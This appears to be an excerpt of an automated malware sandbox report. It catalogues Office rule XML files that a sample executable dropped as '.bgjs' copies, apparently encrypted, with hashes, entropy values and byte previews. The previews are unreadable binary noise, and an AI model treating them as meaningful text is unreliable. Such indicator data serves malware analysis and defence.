Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	722
Entropy (8bit):	7.679835179609109
Encrypted:	false
SSDEEP:	12:Wv0nuddFMiVJSsXw4mL2+S8+RtJdBQBl9nk3XlqW2FzfKt0Y6/v7wmaJixpZaciD:Wv0+7Mi6sAzbzCJdCBl9I1q1Jf9571aX
MD5:	86900ED5038F8B6ABD3D5A8C48BB8381
SHA1:	090FB2D4B3FDF9F023B1B31341A9BEC5472FF474
SHA-256:	AD4415E7ED67786FB817D733CD752455DD703562CED39F90053EEB0D8FA563D4
SHA-512:	09F754FC2E22D25CC898830C8929AB6D36E2519EDB044E1708F7AE5C01128FFBD9D7CBACC730A54D853360D78BB713272216A23717927FF7B5AC4D237EFA63FD
Malicious:	false
Preview:	<?xml...M.C.L..E.'......-..6..+o......>......Q.w.hw...i...2s.....Ef.n.........-9.....3..c..q./.<.fO..Dw..dA.n$_{.......1:AH.H~.......w..\|c..:.X.....+..8.u....Y.E.o...4wC}...G./.L.....=......J....x).....=...M...\|/.5..O.$).;...`a...o3..u.yRg..^J..3.....J..dd..M.)..eX..\.W.:^.EP3.%.$`U.$V.....p..$.M........f.2...i..p..N..@A..F.4.....R..'.}5......._b.I.Dv........~V.eJ.f.umGN].5.b......C$~Zf.."?...Sq.j.............33.........J<...!...}...MM.8.......t7...j.W.u.b.{...pQD.VON..v..'..`@..q.64,I..D....:...].:...b7.}\..h...V.=..C.K....e...\|......`p..,..:.~/>{o....x.K.....hM....mlf@..@.{.....~..o.q...".Gwj.W...$..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170107v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.775631162300427
Encrypted:	false
SSDEEP:	24:gFYU68kKF4fmugulSSIj3v6taOidnRtIIZ6CiTkbD:gFYEToTg+kjtOgBZ63iD
MD5:	6AAC40D4E6DE9A0A6EC7794189470C90
SHA1:	5C0B3CB43459ACD0E04604D7ED6C805FA5803C05
SHA-256:	8C84558197CBF1A4FFEB7067A738DA541B35E0CD6A1E7A354DCED13A665C5F08
SHA-512:	8F2AED5D1D29493B352D6935E0E0FBE9785A13E584F1FE52784D5CD8D4AC4516FA3562335E5A696B6763AA3BCD549832D06A8CA754BF5B661DEF676519B243BB
Malicious:	false
Preview:	<?xml].H.X...[.......Bp..8..Y>...K.....el.........^...zB...w..>,e`9...s..U...DY>v:..H...-,g...C.....iOV...a..H...X..................WZ.}.y..1&]....}.....\G....n...qN.!"-..h..,.j.&...Y.....&..(....i.t.P?..MY...,....!aR>.'..~g.K2N....\#6..T.p..G..8..W._y. [.3..........1<..ykWd.H.k.k.e.4..:7..X.)..P..Yc.C.XwZX..;:~..]mE..L@.7.q...y...5...@V....(e..a...H.)...O..3!.e...k...).8....{..#b...C.2G..&.r...`.na.....b3..4..#!.{.Hj.....iz..... .).Ob...'.....1C.$..<.s.....w..4......b.~..q]..M....$...H.D:...Jj....X....7..w..l.^.xb..\|...........c)m#....-.....]...v..m...P..F.&..w...u8.=(.T......../z..j....P......x.a...f......+.0v].\|q.^W]...s.J.$.'.s...Y.}L.C...#.{..L..a<X5..(.A.0..=.V....E... ..ig.....ewG.S...r(.?5..:6I.\......e\|.Q......4Q.P@0...ORE..ddD..2.6..D...k......z...W.x.b..2N.^[^37b.........R..w.s{..z........r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170110v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	7.871326247313027
Encrypted:	false
SSDEEP:	24:MRInN2cZpL74lfdFvXvg4tTr2M2NcrP7Q4xhjflOHiTkbD:MRQZSfdRvg4t3x4cjU4xFlOCiD
MD5:	DB826E4139A1813278FD1337A4582185
SHA1:	C31C9711694521A0C92E47C818570D4DBD7B17E9
SHA-256:	7C0880C9667D53AFE2C4A60DE3E645F024336777E1DAF31B005CC7D83B6C7890
SHA-512:	6F35DEFA2A442F4381E959BB6CBEE901D69D913BBC8F1C78A5915D35FA8A234B3834F53D97AFB23696699B80603DC2030489DB7E057326DCAEFF5350A83567AF
Malicious:	false
Preview:	<?xml.......)(....>W.Hgy8.E...Og..V...p),.......N.1......[.....V........n.=.....{8..O.e.3.H. Q....]noV.$..r.x.k.G..,....7..A..I..H..H.......T......`.Z.2...7..JA8m..`Rw.........G.1....?K....`..A[U.Zmk.q...q.o.......V..0f<.L`:#H.B..\|,.MI`..+.1..S(.!........p^.\T..D.......A....:..}.@.+.\...\.."L^>P.7u.$3;.l7..,t'.3..1.y.E'.4P.?.H..v.zLgr31..C......q.h.r.N....]._d..0\|. .^s.Q.Upy+#.....Nt....B.e~.k\|......U...,<w.\|.."q..4.m..c..c.r.p.c.!F"....8./q:..@......<e.....u...r_.A....A.j.p!x..\|......F..h.k........2l.....d...Q.z.`...[L....g.[..ZU...9.)...3]4@..Ro...c}......P ..k"I..R}.Z.1._..\|W.^...B..q.....i.d....7........D.g.?.=...L..P'..#..;.WG.t..i.a...Sut..D..O.2.....O.!.{...&.D.O/)....]...........]..J...m...x:8.J....r..9G.0K..Z.!j.l.#......4t.x)....-.....V.O,#.....l.5.......c.%0(d.7...TaN.......@'.C.f...k#...z...&.3p.m.....\.......:......!.&Oj..7.i..v.............Go3E4..Q.&7..V[63..........Q..%.s...Q.K....)......g.._...M...!\'.......kh.o...a..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170111v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.785551596895632
Encrypted:	false
SSDEEP:	24:afWhvv874+b8NcApbaONeTLYKVs7TeRhAXD2Togmib8RvJGjqUlSgiTkbD:afkvbi8uytNe5hAXD28RvJG4iD
MD5:	4333D394ECD6AEF3CA875C41015BE6CB
SHA1:	2F894C08F0A1E3D451CC6B5C0B7B8BEE8400347F
SHA-256:	71C2B971D197128F65F0CF0F4775304D4C37A28E4A999C080D2DD7D8EBFFB5EF
SHA-512:	B1DF5407FEC64EFB0F113E94016881811ACE2913F8FEC94E4990664EBED1C60EEAFC67D35B5C5F4070BD5164FF46A5919F69670F3025910E935D884A5CD494FF
Malicious:	false
Preview:	<?xml...A.N.z..Q.O.PU...c..o.].t_.....h..BC.z.E........@a..'.8......x..d.F..o....&..X....C;.`z.D.."...G.Tv.}_....}.u...e..w.n..#..M.^....rl...>.....6........N...D,...aP...f.....uY.ra.QQ...-.H...8...a..e.......Y.........q.....(..]......@....T.Fgj....Oe%..Th.k-P...k.0.j..#...'...u>.e..?.....K..z...8'uw.M.....U.........\|...2.....r.s.1.?O.^...H\r....!.7.d\....5.~.~s..7{B4...1?b)_...Y..?. Km`/$.^..'.Y..Umj...=,.I.i..)..L(..)=+z.p.9."l..4...%-.s.......X......e......6...A...... ...M..j-6...1^.t....).C..;.F)...T^.1..........#T..U../I..n.\|k.7QB{C.....%./....^..D......"H......eP.j....,9.g..}.^.......ymS...B.u..}...0..`s.6.^.=...x.......h..P.%../.....m..k......u.rR....B....3}T..e.C.Z.........m......Iu.zT...F~x...MOG.\...~..B.:..u....;z.../..3...G\|..C..o6i.........w{..i...............\..B>..0.3.uc...@ug.El.`.Z...'......i.V>1R.(..W.{W.S...^..M..).})d.d.t.).Q......N.8....}I....&.er6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170112v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	943
Entropy (8bit):	7.78020203215777
Encrypted:	false
SSDEEP:	24:SLZdo9pgMyFwH2xW1nzSMC/4ox4pSHMbumGtukiTkbD:cqpgM0i2mnJC/4oqpGaumGWiD
MD5:	CF7E168EB321E6C5ACAEA582F211D290
SHA1:	5E001E4C418B4D79EDF76032A39B591AC776C160
SHA-256:	7A101A5EC2E2574677412E4B7E5F0F769DE7447FD2FE5B494BDC34DFDD832BD7
SHA-512:	0132BAA86C8D16E87A628C35A1633CBF9F015A2D8C2D5F234DD65CC3C3E65C899A9462BDCD58A7EBC3B2E5002C81921A96C6999D226A1A4D17F6D6A9DA45B61F
Malicious:	false
Preview:	<?xml.........B>...0.S.U._.....Q.^.F@ r...... ~..R:..U.&..D^8...~T..x.....h.).W....].....^3PN..o......,{u.<~.'.p..Z`7......U.x...H..D...i.........H...'.^7.#o.?j....{..!1<..vt/c...L..1.b..9?["F.\|..........F..(.........A;....$....._.G...$a1A..0.J....,.p.N...].b..v....d.=.........Pl..&9.....7B4.P..\|4.....2Ms...cZ..z..........yw..RQ....q.....q.8..6..s.Z.9....Q......e.+.J.....~....A. .FNZ{....i1.r...8`iPo...+.a....%.@....Q......}..[....xV.J...M...wi..x.O.8{..hT.Y@\[.)...:.k.t.....Z.=e.PL.-..*.b\|...qx.....l.e.....\|...q...\|;6... .G.N!.........^nK..H.'&..k.\|....[C..;...As.~..w.8..\|....N.PP.....w....."......}.if..VD..b. .c...s.r.~.3Jx.b...&P....".56...z....}..C..'...6.C.(.....e..^r...._g.$..j1.._.....H..qFs.c..Fxj......n_...LU...;~.......JssT......1..v.....Y..L..T...#9"c. .9i..I.H.2...4uy0....J.)..Qyd...f...A.Lx.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170113v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.724759332790692
Encrypted:	false
SSDEEP:	24:vAQmrSDGVQmiM9e6QsjvWw7Rymm79iV48NSc9iTkbD:vA3gOQbMEFsCSEmmZd8gcUiD
MD5:	86B8954F074B77D5E28F6FBBD9152B23
SHA1:	F84390358868B612790C32717BEF59ACBA45BB4D
SHA-256:	73B663B909DEF990719FD92A0E14D0FA523999951F77718EE8B43D3D44D94962
SHA-512:	66D66506F497B35F11867F105261D100B26696C0B3A808E637C8CFBE93558A8A64D357E25EA45ACA9A7CE82294B8A9D89A1CB12554266E3D4BC4F63B5C60F8C5
Malicious:	false
Preview:	<?xmlH.S2.#.........E.W....j.x...j.q)`..%n~..o..k.....!9.Sy.?kh....N..W>...G..0.#.....I. ..Mn.k.l.x=..[......Ey).fl.Rmc81...a.R]{..@.(...Z1.#n.;.N/.u8J..W..>A[.%.=.5./6....8........v..>@R...).<.x[V....R.NH.......\|......_9.N...%.M,.E.;....yei.pE3M.r...:U.n.\.C..L...j$..cH0.h.X.b..s.".3...\.(..P...i\|=s.g[2...x..9....g.J....hX ;.'..R:}..m.Y... ..;.-..h..`.....2.d......O..Z/.9^@.I..%.....q........B8..\X...~O....;=.9\......'4..%.7Q........E!...wrl,^j......DbY..7....f..4P.....;...j.....t....R.n..$.W._.U.N....8y....B..2.>V.g..J.=.3.....a,.YL.!..'....U....t.......b...5.?.o.:5...%<.V.C\|.k.l..q[Z..-B.H~..........Z_..sL.,.[\|...."....o.q..Q.........5.......m...e..+.?.)..H..u.R.v..&r_G.....vm....73mr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170114v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1156
Entropy (8bit):	7.8380957563875455
Encrypted:	false
SSDEEP:	24:gh/mMFNszVMulsRsfbr3TzGhREojbIk5c3Z+ZiTkbD:UhqPlsRsfbzTyrjap+4iD
MD5:	8C2D3FD523260328CB743A3F7A6C4BB0
SHA1:	5A95C2A34A42AA992DB62D3DA15B150225DBA108
SHA-256:	B88A3332884AF113EEAAFF358A447C14749E8F5B08DB10DED07A0226B6E28F09
SHA-512:	DE98EDFF30B3AF37707118943D7CE978AC89D0CA997590262F78C1AC036D45F602260A78BBE10D6B5FF97BAE963D64807AD002730179537DBA4D2E8C213F0BB0
Malicious:	false
Preview:	<?xml...d...........mW..Q..V........'...k..}.`..X...+...]......4.Aa.eB.4............B....M....y......$o.#....-..P.Y......<.2..G.......+..QT.y.K8.P........]..t..A2..D?.&.d........GB..sw.r!.qAT."`....K................+.l.e.\...A.<.j...-....PvP...u....sq....A7~:.7.).N;.........r....@.,.p.2.Z.9..~rB.m...C..H....?....................-.8.F.{..R....e.v..KFb.......O.77.9......s.]k.w.S.q./...f.Xxo..?....O....l.....W..b....`\}......@.U.E....YXhL......F.......IiF....-f..sB.SZn7G.T.T.\|.W.R..+0..vzU.l=.C..1.k.H..Q..g...~.t.n&.y.....'x..\|..`...(.l.Q...J&Y.Z.........8...#..t....>..g.;....9......`...%..........B..+t.....aS..a..6h.L..n.'.;w.......ke........i...Xu...r&.\|..@.p%.....4...7t.=q.K\|........(.c..3./G.L.G.../.To=.".(.......\'..0$...d....8...K....(G(}.. .........,.V.j.......`.{.ll....5.zL...6.~...(BK5....t...;.zB.S..j1....."fH..y.7....5fi.)0...Q+..(._X~...j!0f\|.s...>2...KB.Ez....N.....p.7Q........q.}..(M..{J)..n............ru.E.M(5

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170115v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	927
Entropy (8bit):	7.736678471066382
Encrypted:	false
SSDEEP:	24:wTZNjPNgg5oTs1P7qdPPsosBFPHxDg2iD+ukVx/iTkbD:e95Po4BxgqucxaiD
MD5:	386CEE34982155497F122FE4E1E95097
SHA1:	DCCC446881AFAC31FBC3A8CE7B72322C95416C60
SHA-256:	A56DF7E4937573338C52FC5AD4529C24CF48959D6D552D56FBE6F9B5B75C2A06
SHA-512:	DD3A373C1063ACF9DC6103705B654DEB3E6A2A1A162067924783123E877281CE2D1A25BE0B5EF9CFE6B0F0867D65CC09C0DF25AFAB0C91FFE316CACAD196478B
Malicious:	false
Preview:	<?xml.]!.u....].:k.U..`\.P..$......@.....?...p.>..h.....`zQX...cc...bi...9.......kX....=......A.....@..5x.....II......pA.....uz.Dr.en]..{T.Y.Aw.....W_..-%[l<.].....!p.b...u".......0c.u,......~....,Cz.e5..%O.^_...`.......Z....5J..w.x(.W..bU(C=.68#.n.../...8.m..7.....@.9.Y.hB.!q.O..~BL..f....%....>..Q.-F!b.Z....B..C...k...>..<..Q.J.0.pn...v&..M7`..Ay..Ac.3/..[.Y......x.m..@.3.}.I.[.G.6Z.Nl..jT./uL.,...t......]........G.:!....]A#>......2T"b...p$...y$.....5." ..b.j...v........=...)...w...v^..i....\&.XE.G?.Q.m.GH.+.'@..e.=.E..*_..M..V...B.L.jx...6..>pYn........%.AG.IO..E...].q.)..sT..:$H&...j+....<..I......(..D....,?4.6.(.?.5.b...[OvC `...`.\h?...$..MPvv%..M....?..T.0.\|3:.5i.....K...K$] .08z(.....Q..0wx..#..zL..h......,..\|...U..m..f.?F........o....q.K.,g.ez.:..G.8f.;"'a9.........[I.0T...2d0wn.?r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170116v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	717
Entropy (8bit):	7.6546641363217445
Encrypted:	false
SSDEEP:	12:PcVeH7ahgNPZ2UCVTF+eo4v9PFlHvMp3lA7/H02iWp9mywoeeHsXZzIYP07ko7rH:PcUba1TFsSlvelG/0XWTm+zHsJz2QoB9
MD5:	D8E6F809B538B37A99763720775B1130
SHA1:	3C648C67854D3B5EF5538A85D481E74DABB803D4
SHA-256:	2EA8FDBAE5D1A41BDB774942EC72640EF6716F3BCDFD98D679D65E84D017C060
SHA-512:	54B9E569745901B0A7BDE34CFE531EBBEEAC1C39737E54B254542F00815777239A7D771005DCD3AA7EFD032704EB5D75D86C526CCEEA5619225E5059214C8910
Malicious:	false
Preview:	<?xml..@E...sr...E.M.^.QF2..".9s.N.F.V..z..s._..v',f.:..c.L0.>......}...G)...M..T._s.3......5L~+.00]i?.tq).<;..z..n...m.(...g.X..(u_...\|;X2.R..P.;........J.}.L.QQ..!#.M......x$...a./....qF0j.,.w..kPAR.B$..5>\|.+..m....Lc.....5c.js.om1B.....s.../.ABe.>.E....Wfc[..YB......#...a..........-.;...).C( .._..p.....Kw.0G\|/.G}u..N.\|.....B......+e.....@......wx..,.Mq.(N\|.yV?.~.G2i.J..@.S.t0.....H_.......uZ.n.(E...I..V..1\|..H..L..l....`.l.sg.......t..N.....cyG.&.b.]..M.)...O...j...:..d..pl>...SK-...H..c.....:...A.}@..\|.=Q..z.U.%(....'........t.3..G8xj.A.Sr.H..f?....'v....N..:Lo.......}Qv...*.%.j..?.9\U..+.?._...q..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170117v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	942
Entropy (8bit):	7.75277914705575
Encrypted:	false
SSDEEP:	24:7im9tou8uTarrR6pXZtjWDOic++rJu/5FhFsiTkbD:7/9tv/CV69uDNP861iD
MD5:	6FE719E64D8BB6A0A58EF867DC13C113
SHA1:	F606147DF1FF0FF0D268D59BA4EC40AD24188462
SHA-256:	3F6CFD108E3D03A19FF5CCFFEA19A1A8FE2C361751C649B722F922B517739D9E
SHA-512:	8A7C65E05CC052A1CDE465D03DC0361B47AB6B0AB961ADA68984C554286D9B37E0932735C47D4A94FE18421A05A93CA9BBC6C5291A506D41F43DE97BDF99B780
Malicious:	false
Preview:	<?xml..i4b.c..i..L`....>...............T..Y9..=...<.!.Pq...rl.J..r......^..O.D.U......'N.\|(Ag......4..Vl.B".....c...d/..Th8"..M#C.....?n\|......./.'.R...I90wJ0.F.....@.,..}.6.F..G.L...H.. $..).....K.....Nc.....`...`....B.0..fI....%..D.}....q...` RiHix..y. .>A.?.EQ.;vD.....D.!nw. ..%.....<o.QXWtU..)..@.....tzB.pD....&.U.......'.u<......c...........XKB`.Am_...b..Ql....W..K.z qvN....q....2...6...q...G.....'..EW..0.1:...N.S.X.2..imW..O.....vcA,...r.._...2A.......3.....@..X.yN...qK..v....S..2J..#.....Kt4...F.h.......JP#&..[..x.A..`..>A\......@..#q...v.^......fy..3..........+..t...ygx.$B.I.S...a...\|.~}h...._T...%.!.Q.b.Kb(.9E...@.>:..xS5Tf...`t.._]..]?.....z..E...S+...UhSUy..RC....R=....T.......%.......n.Kq........1....d..Q.....P9..FL....>..'.d{.y!...59c..GM..#.P.$t\|.\....!,z......h.Q.^..'[2..>....@;S.tK.7.......e..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170118v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	949
Entropy (8bit):	7.77131225703438
Encrypted:	false
SSDEEP:	24:A/DExIw3KZWsXgpje9MKt+lwYjQQ8QaJeiTkbD:0DkIzWsg+1+wYjuQaJbiD
MD5:	9673C7506A42E5982CC4020D46A87EAE
SHA1:	C00604090B2336C342542BF172E2F38293BF8B63
SHA-256:	1D5D8784C11B998DBA95AD2DFE2FF09EFF2C009C973E89F3C2341495AE73298C
SHA-512:	29E839D503BA953279A806603BBAB11D1BD6B62331CDECA3F0B4E295741C724F8D41B8B80259BFB029119F2D20530031F3F605062FC4AA3F05529F88CA0C5613
Malicious:	false
Preview:	<?xml!..uo.dg1 .z...$9W...+.Ocx..k..`......q9....m....7?8.z.Hv...j.......\|_a'.2?.t..Y1gXI...~....oI.. .....AQ...Upt.......F.+.q0n..c............].:.X.y....&./..............6.!..H59t. ..a}%.HFP..>.[0.k.W4...?.%o.~...G.:.....0j.#C.v.q.H....!.x...4.I3h@..,.t.....G../..).D...\|..(..Rdn....[1..].........x`@.w. .._!#o...(f.O..V.?~..Jt.".^.+.ECv.w.]b.{.......[...{...cO9X\..4........C.3.\|.q.l.9}?>E.R...d..e...{Q..b{(...4c.j..........F...UTZNL.}q..~....k....f..zZ..%..1..(..z../!.t8..~P...Ig...\|...Q.m.-O....I......}.1A.g..-.O\|...l.I...e].u .q......?k.P.^..... .$.p...j#?..N<G.b...K.V..bR.."L.%S.qsu..b..TSy.A......6...g..p..FR.A..D-.}...>a[E...s..m...y^U.......L.%.k..yid....5.n.T.L2D....9"M*.S".....v....q...+..6.\...%o.N"z...\|.i.>.#.........l>...C`.Z....7...+...V.._.q....!.....I.g..T...W..v]...82#P.q.XB9. ..'.n.>.......<.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170127v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	867
Entropy (8bit):	7.714721746414892
Encrypted:	false
SSDEEP:	24:eGJInNs6eOEFbzb7chIJ+8t5WTJM0tJOuEghbGiTkbD:Vk1eiIJ+wX0tJWgJjiD
MD5:	08450CFA01F8A704324420579AD69728
SHA1:	78F71E89C946578797E9805018C618E776B5373F
SHA-256:	E9C0A58444EB1811D526DB2D5C0E5925BCD408076F33AE40BDCE75ECA9007032
SHA-512:	6A3208F3AA0538C1D13CBF9F02FD11004FC971C8E5738B44BEE275849E4B368EAE709061EA9E81A9BC0D54D7FE803CEF5F2E255750A5313C7514C0BA923A21E0
Malicious:	false
Preview:	<?xml....R......[..0..XM!R.7....m.\I...'..i..V.3{...R...1CWUF.!x.:=....$........X...x.. (..O2...a..Ry.F.^F.f..F..o...8R.....E.^z.`..l~.....U}..,.......&w}....S.~....!.Z....C..GziJz....1g....rH.....X.......Q.K#:..YR..<_...!0..5..5..._6.Ti..h`..1i,%3..a0r.G"..?..V..A..F.y.......z....8..Ou..;7@...:...%.l..EJ.....I...5......A.....m.~.~>.U.aG..r.N.f.j.m3.NN....4-..U...F.I.....].E...~f...M.4.....(_....jC.&g+~ A..89.n..$...1@= ..h..=.._~.y8..&L.C..S..I_,.hf.'.. ..N..H....).........`...LRR...r.:......g..U........)!....\......RO.. .(..#a<...h....E.+`cn.....%].9(.....(t.yd]......w...0.N.!.tTJA.0.<..(.CK............v.^.._#s].w.2..z1..P..)..d..f..Vi.u..I.@I@<BK.p#.u Ac..n_..;.._...ih0....O....`.._..O.N../K3.F... ZA0.~...}.`0..p.p.eO.2Z.H...H...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170129v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	918
Entropy (8bit):	7.7822540437771055
Encrypted:	false
SSDEEP:	24:O1ULfrPQY2KQSUhvJPz8ta39I1ILDhgUyKMgc9hOGLZHBiTkbD:JPd2OE5YANI1ILdKgShLLZHAiD
MD5:	6C0B0D889CFD68957D6A3F9A508FCC1F
SHA1:	D6F9D4EA8BA54CA4BF3DAF9090FD43F0BA150B0B
SHA-256:	6F71C8C7E8ED1F21EB44FBE1A13E21090396376E2BE653B59D13C0BFA617881C
SHA-512:	B8CCBC81C070459A50B5E1CB8E2ABA58B276F71DD8D494AD87BD52331AEDE0EFE1B7DE36F4A5FC621C2F13360FCF93AA326298C30F0C48A25A1666B89A864E45
Malicious:	false
Preview:	<?xml.c....[......n(..9.QPwU.z.>.Pp.\|H!E.\|.GL................f.i.R.!F..Va..WRx5#..#1Fj........z:K...]Y....2...q.....Q...;.=........>....O...u~T.8..W.J.......6.T.p......+g1.a...8.uma{....:..+/..\|.n...l..wX..?.m..5....f....p.7.`..CO.w..L;..p....@..T..\|..a..?...U.G~!..(.WV.\|gB...o...X.H....N.!..M_.no\|N.0..C...--.No.........y.<..q\|.".NK$..........l[..v..E7b.0..ZgM.......AY$..eW...f...5..dt..XN.+0..Q3.MA.....'vL..ls..O9R..J..[[.F.?#.P......D.........X!.Z..i.].U.yg~.y.#+Q9...v..'^~.G"(1..r.d.B.........u.c<. ...-9R..c..?.c..7..m.rj/.....R..L.....$P......{..tR{..^;.U!.5'..yl.....Q.....y.f..&K..E.........Z.(h.x..t.../X.G.d...ZHp..p...b._?i.g>..?...............+...[..4(..b.-F.M....oj..s.<..\.....Q.b75.........(........)....j........rC_J..V........$]..'......~...2..\.......m.../?L/IS.U..w....1...0A.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170130v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	898
Entropy (8bit):	7.775568958775985
Encrypted:	false
SSDEEP:	24:g0rRhIR/a9M4SC1Y+LLUgRc9Xrn4u9iTkbD:Jfm2Ypgk4uUiD
MD5:	ED0F2CC895AEF1DC627908FF553CF01B
SHA1:	19C43CE6EE3EB1029A0BE66F0248B547AF3279E3
SHA-256:	9173A57A35CC265AC0E7DE83EDE10D07479F42B701DFFF6822CA16738839E0C8
SHA-512:	2CFBD17E0359658891CD25DAF91EFF5888B683A8B9B8C440DB2F64145C1896EB3B2D6A719A7A1FDED370C9E228A95391006789E2F0FB3A7EFE743CCFD9F33D4D
Malicious:	false
Preview:	<?xml.^._M.c...IV@........ytM.N.h.-....K....g.(.3>.hg.=.p$.3.s&.c.m........H.].S..QZ.'.2.."..t...y....W\|.9..[..B1....?..S..o..&..b/.lq.M..-....n.1..{...]..i....g.........Y.F...zJ.K...`........E,%...-..O.[D..m&.,.$8.>..R!M.k.Z...k........F'..~n... .{...].Ck....{....9".)....b.....n..P.\.V~wU.PFrV..?g..\|`..M.G_]..-..S.@b...C....D1.J-\|)...Y....[5<..E.]5.bA..?P<.U..M.ei'...L.ry~.N.......3...U......U...._..%.N.lv..4V`.Uq"L....'..t...{w..r...+b6...x....gP.....0.A{5J%$..;}. ...c...x.H..T/...S9..3....I..2.!C...i...hFC.H(...zn..?..q.)....k..Y...a]....Q)bAm..m...<Xk..........z.,.1.... ..{........W......d.x....7..5iCs....w...P._GO9.m..;.h.......*o..H9a3........1n...'.........i4.VM.....y.W`.YE&.........9.[../t4..c.e..X.2...v.."..w....p.y...N.............{...#.F.["..zU....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.511908664465152
Encrypted:	false
SSDEEP:	3072:CgETso/tG92EYISdOPeYDYJVOzJaUPmdjJ4/77vKsRHFaFnUA/14yRU:KA3VwOWYDYVOc5eT7xYFUA/143
MD5:	FE319A76C2454BA458238EF9E9DA2EF0
SHA1:	BB26540A6A0FCCB4E1577B4BAE717D21DDB28FA2
SHA-256:	A93EA3033C03103FE098F61BFED9DBFDA2C8B6C68140868B080DEE5EB15E50A1
SHA-512:	93B82DD793F6D54A78C00D0C2BA4D2AC8A9DEE9DF791A6D7E76308EDCF4A1D05B9C357AB8DF09D61665973922BD25AF424EF3F4A90475A68B35CF870153AF52F
Malicious:	false
